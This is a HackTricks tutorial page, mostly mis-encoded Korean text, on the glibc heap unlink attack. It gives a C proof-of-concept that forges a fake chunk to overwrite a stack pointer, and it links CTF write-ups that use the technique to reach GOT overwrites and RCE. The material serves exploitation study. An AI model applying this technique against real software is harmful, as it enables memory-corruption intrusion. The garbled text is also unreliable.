Unlink Attack
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
์ด ๊ณต๊ฒฉ์ด ๋ฐ๊ฒฌ๋์์ ๋, ์ฃผ๋ก WWW (Write What Where)๋ฅผ ํ์ฉํ์ง๋ง, ๋ช ๊ฐ์ง ๊ฒ์ฌ๊ฐ ์ถ๊ฐ๋์ด ๊ณต๊ฒฉ์ ์๋ก์ด ๋ฒ์ ์ด ๋ ํฅ๋ฏธ๋กญ๊ณ ๋ ๋ณต์กํ๋ฉฐ ๋ฌด์ฉ์ง๋ฌผ์ด ๋์์ต๋๋ค.
Code Example:
Code
```c #include// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf(โStack pointer to chunk1: %p\nโ, &chunk1); printf(โChunk1: %p\nโ, chunk1); printf(โChunk2: %p\nโ, chunk2);
// Assuming attacker has control over chunk1โs contents // Overflow the heap, override chunk2โs header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1โs data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attackerโs fake chunk is โunlinkedโ // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victimโs data free(chunk2); printf(โChunk1: %p\nโ, chunk1); printf(โChunk1[3]: %x\nโ, chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, โVictimโs dataโ);
// Overwrite victimโs data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf(โ%s\nโ, data);
return 0; }
</details>
- tcaches๊ฐ ์ฌ์ฉ๋๋ฉด ๊ณต๊ฒฉ์ด ์๋ํ์ง ์์ (2.26 ์ดํ)
### ๋ชฉํ
์ด ๊ณต๊ฒฉ์ **์ฒญํฌ์ ๋ํ ํฌ์ธํฐ๋ฅผ ์์ ๋ณด๋ค 3 ์ฃผ์ ์์ ๊ฐ๋ฆฌํค๋๋ก ๋ณ๊ฒฝํ ์ ์๊ฒ ํด์ค๋๋ค**. ์ด ์๋ก์ด ์์น(ํฌ์ธํฐ๊ฐ ์์นํ๋ ์ฃผ๋ณ)์ ๋ค๋ฅธ ์ ์ด ๊ฐ๋ฅํ ํ ๋น/์คํ๊ณผ ๊ฐ์ ํฅ๋ฏธ๋ก์ด ๋ด์ฉ์ด ์๋ค๋ฉด, ์ด๋ฅผ ์ฝ๊ฑฐ๋ ๋ฎ์ด์จ์ ๋ ํฐ ํผํด๋ฅผ ์ค ์ ์์ต๋๋ค.
- ์ด ํฌ์ธํฐ๊ฐ ์คํ์ ์์นํด ์์๋ค๋ฉด, ์ด์ ์์ ๋ณด๋ค 3 ์ฃผ์ ์์ ๊ฐ๋ฆฌํค๊ณ ์ฌ์ฉ์๊ฐ ์ด๋ฅผ ์ฝ๊ณ ์์ ํ ์ ์์ผ๋ฏ๋ก, ์คํ์์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์ ์ถํ๊ฑฐ๋ ๋ฐํ ์ฃผ์๋ฅผ ์์ ํ ์ ์์ต๋๋ค(์๋ง๋) ์บ์ ๊ฑด๋๋ฆฌ์ง ์๊ณ .
- CTF ์์ ์์๋ ์ด ํฌ์ธํฐ๊ฐ ๋ค๋ฅธ ํ ๋น์ ๋ํ ํฌ์ธํฐ ๋ฐฐ์ด์ ์์นํด ์์ผ๋ฏ๋ก, 3 ์ฃผ์ ์์ ๊ฐ๋ฆฌํค๋๋ก ๋ง๋ค๊ณ ์ด๋ฅผ ์ฝ๊ณ ์ธ ์ ์๊ฒ ๋๋ฉด, ๋ค๋ฅธ ํฌ์ธํฐ๊ฐ ๋ค๋ฅธ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๋ง๋ค ์ ์์ต๋๋ค.\
์ฌ์ฉ์๊ฐ ๋ค๋ฅธ ํ ๋น๋ ์ฝ๊ณ ์ธ ์ ์์ผ๋ฏ๋ก, ์ ๋ณด๋ฅผ ์ ์ถํ๊ฑฐ๋ ์์์ ์์น(์: GOT)์ ์๋ก์ด ์ฃผ์๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
### ์๊ตฌ ์ฌํญ
- ๋ช ๊ฐ์ ์ฒญํฌ๋ฅผ ์์ฑํ๊ธฐ ์ํด ๋ฉ๋ชจ๋ฆฌ(์: ์คํ)์ ๋ํ ์ผ๋ถ ์ ์ด๊ฐ ํ์ํฉ๋๋ค.
- ๊ฐ์ง ์ฒญํฌ์ ํฌ์ธํฐ๋ฅผ ์ค์ ํ๊ธฐ ์ํ ์คํ ์ ์ถ์ด ํ์ํฉ๋๋ค.
### ๊ณต๊ฒฉ
- ๋ ๊ฐ์ ์ฒญํฌ๊ฐ ์์ต๋๋ค(์ฒญํฌ1 ๋ฐ ์ฒญํฌ2).
- ๊ณต๊ฒฉ์๋ ์ฒญํฌ1์ ๋ด์ฉ์ ์ ์ดํ๊ณ ์ฒญํฌ2์ ํค๋๋ฅผ ์ ์ดํฉ๋๋ค.
- ์ฒญํฌ1์์ ๊ณต๊ฒฉ์๋ ๊ฐ์ง ์ฒญํฌ์ ๊ตฌ์กฐ๋ฅผ ์์ฑํฉ๋๋ค:
- ๋ณดํธ๋ฅผ ์ฐํํ๊ธฐ ์ํด `size` ํ๋๊ฐ ์ฌ๋ฐ๋ฅธ์ง ํ์ธํ์ฌ ์ค๋ฅ: `corrupted size vs. prev_size while consolidating`๋ฅผ ํผํฉ๋๋ค.
- ๊ทธ๋ฆฌ๊ณ ๊ฐ์ง ์ฒญํฌ์ `fd` ๋ฐ `bk` ํ๋๋ ์ฒญํฌ1 ํฌ์ธํฐ๊ฐ ์ ์ฅ๋ ์์น๋ฅผ ๊ฐ๊ฐ -3 ๋ฐ -2์ ์คํ์
์ผ๋ก ๊ฐ๋ฆฌํค๋๋ก ์ค์ ํ์ฌ `fake_chunk->fd->bk` ๋ฐ `fake_chunk->bk->fd`๊ฐ ์ฒญํฌ1 ์ฃผ์๊ฐ ์์นํ ๋ฉ๋ชจ๋ฆฌ(์คํ)์ ์์น๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ํฉ๋๋ค:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- ์ฒญํฌ2์ ํค๋๋ ์ด์ ์ฒญํฌ๊ฐ ์ฌ์ฉ๋์ง ์์์ ๋ํ๋ด๊ณ ๊ฐ์ง ์ฒญํฌ์ ํฌ๊ธฐ๋ฅผ ํฌํจ๋ ํฌ๊ธฐ๋ก ์์ ๋ฉ๋๋ค.
- ๋ ๋ฒ์งธ ์ฒญํฌ๊ฐ ํด์ ๋๋ฉด ์ด ๊ฐ์ง ์ฒญํฌ๊ฐ ์ฐ๊ฒฐ ํด์ ๋์ด ๋ค์๊ณผ ๊ฐ์ ์ผ์ด ๋ฐ์ํฉ๋๋ค:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- ์ด์ ์ `fake_chunk->fd->bk`์ `fake_chunk->bk->fd`๊ฐ ๊ฐ์ ์์น(์ฒญํฌ1์ด ์ ์ฅ๋ ์คํ์ ์์น)๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ์ค์ ๋์์ผ๋ฏ๋ก ์ ํจํ ์ฐ๊ฒฐ ๋ฆฌ์คํธ์์ต๋๋ค. **๋ ๊ฐ๊ฐ ๊ฐ์ ์์น๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์๊ธฐ ๋๋ฌธ์** ๋ง์ง๋ง ๊ฒ(`fake_chunk->bk->fd = fake_chunk->fd`)๋ง **ํจ๊ณผ**๋ฅผ ๊ฐ์ง๋๋ค.
- ์ด๋ **์คํ์์ ์ฒญํฌ1์ ๋ํ ํฌ์ธํฐ๋ฅผ ์คํ์์ 3 ์ฃผ์ ์์ ์ ์ฅ๋ ์ฃผ์(๋๋ ๋ฐ์ดํธ)๋ก ๋ฎ์ด์๋๋ค**.
- ๋ฐ๋ผ์ ๊ณต๊ฒฉ์๊ฐ ์ฒญํฌ1์ ๋ด์ฉ์ ๋ค์ ์ ์ดํ ์ ์๋ค๋ฉด, **์คํ ๋ด๋ถ์ ์ธ ์ ์๊ฒ ๋์ด ์บ์ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์ฐ๊ณ ์ง์ญ ๋ณ์์ ๊ฐ๊ณผ ํฌ์ธํฐ๋ฅผ ์์ ํ ์ ์์ต๋๋ค**. ์ฌ์ง์ด ์คํ์ ์ ์ฅ๋ ์ฒญํฌ1์ ์ฃผ์๋ฅผ ๋ค๋ฅธ ์์น๋ก ์์ ํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์ฒญํฌ1์ ๋ด์ฉ์ ๋ค์ ์ ์ดํ ์ ์๋ค๋ฉด ์ด๋๋ ์ธ ์ ์๊ฒ ๋ฉ๋๋ค.
- ์ด๋ **์ฃผ์๊ฐ ์คํ์ ์ ์ฅ๋๊ธฐ ๋๋ฌธ์ ๊ฐ๋ฅํ์ต๋๋ค**. ์ํ๊ณผ ์
์ฉ์ **๊ฐ์ง ์ฒญํฌ์ ๋ํ ์ฃผ์๊ฐ ์ด๋์ ์ ์ฅ๋๋์ง์ ๋ฐ๋ผ ๋ฌ๋ผ์ง ์ ์์ต๋๋ค**.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## ์ฐธ๊ณ ๋ฌธํ
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- CTF์์ unlink ๊ณต๊ฒฉ์ ์ฐพ๋ ๊ฒ์ ์ด์ํ๊ฒ ์ง๋ง, ์ด ๊ณต๊ฒฉ์ด ์ฌ์ฉ๋ ๋ช ๊ฐ์ง ์์ฑ๋ฌผ์ด ์์ต๋๋ค:
- CTF ์์ : [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- ์ด ์์ ์์๋ ์คํ ๋์ malloc๋ ์ฃผ์์ ๋ฐฐ์ด์ด ์์ต๋๋ค. unlink ๊ณต๊ฒฉ์ด ์ํ๋์ด ์ฌ๊ธฐ์์ ์ฒญํฌ๋ฅผ ํ ๋นํ ์ ์๊ฒ ๋์ด malloc๋ ์ฃผ์ ๋ฐฐ์ด์ ํฌ์ธํฐ๋ฅผ ์ ์ดํ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์ ์ด๋ฌํ ์ฃผ์์ ์ฒญํฌ ๋ด์ฉ์ ์์ ํ ์ ์๋ ๋ ๋ค๋ฅธ ๊ธฐ๋ฅ์ด ์์ด GOT์ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๊ณ , ํจ์ ์ฃผ์๋ฅผ ์์ ํ์ฌ ์ ์ถ ๋ฐ RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค.
- ๋ ๋ค๋ฅธ CTF ์์ : [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- ์ด์ ์์ ์ ๋ง์ฐฌ๊ฐ์ง๋ก ํ ๋น ์ฃผ์์ ๋ฐฐ์ด์ด ์์ต๋๋ค. unlink ๊ณต๊ฒฉ์ ์ํํ์ฌ ์ฒซ ๋ฒ์งธ ํ ๋น์ ์ฃผ์๊ฐ ๋ฐฐ์ด ์์ ๋ช ์์น ์์ ๊ฐ๋ฆฌํค๋๋ก ํ๊ณ ์ด ํ ๋น์ ์๋ก์ด ์์น์ ๋ฎ์ด์ธ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ๋ค๋ฅธ ํ ๋น์ ํฌ์ธํฐ๋ฅผ GOT์ atoi๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๋ฎ์ด์ฐ๊ณ ์ด๋ฅผ ์ถ๋ ฅํ์ฌ libc ์ ์ถ์ ์ป์ ๋ค์ atoi GOT๋ฅผ ์๊ฐ์ ฏ์ ์ฃผ์๋ก ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
- unlink ๊ณต๊ฒฉ๊ณผ ๋งค์ฐ ์ ์ฌํ ์ทจ์ฝ์ ์ ์
์ฉํ๋ ์ฌ์ฉ์ ์ ์ malloc ๋ฐ free ํจ์๊ฐ ์๋ CTF ์์ : [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- FD ๋ฐ BK ํฌ์ธํฐ๋ฅผ ์ ์ดํ ์ ์๋ ์ค๋ฒํ๋ก์ฐ๊ฐ ์์ผ๋ฉฐ, ์ฌ์ฉ์ ์ ์ malloc์ด (์ฌ์ฉ์ ์ ์) ํด์ ๋ฉ๋๋ค. ๋ํ ํ์ exec ๋นํธ๊ฐ ์์ด ํ ์ฃผ์๋ฅผ ์ ์ถํ๊ณ GOT์ ํจ์๋ฅผ ํ ์ฒญํฌ์ ์๋ ์์ฝ๋๋ก ๊ฐ๋ฆฌํค๋๋ก ํ ์ ์์ต๋๋ค.
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


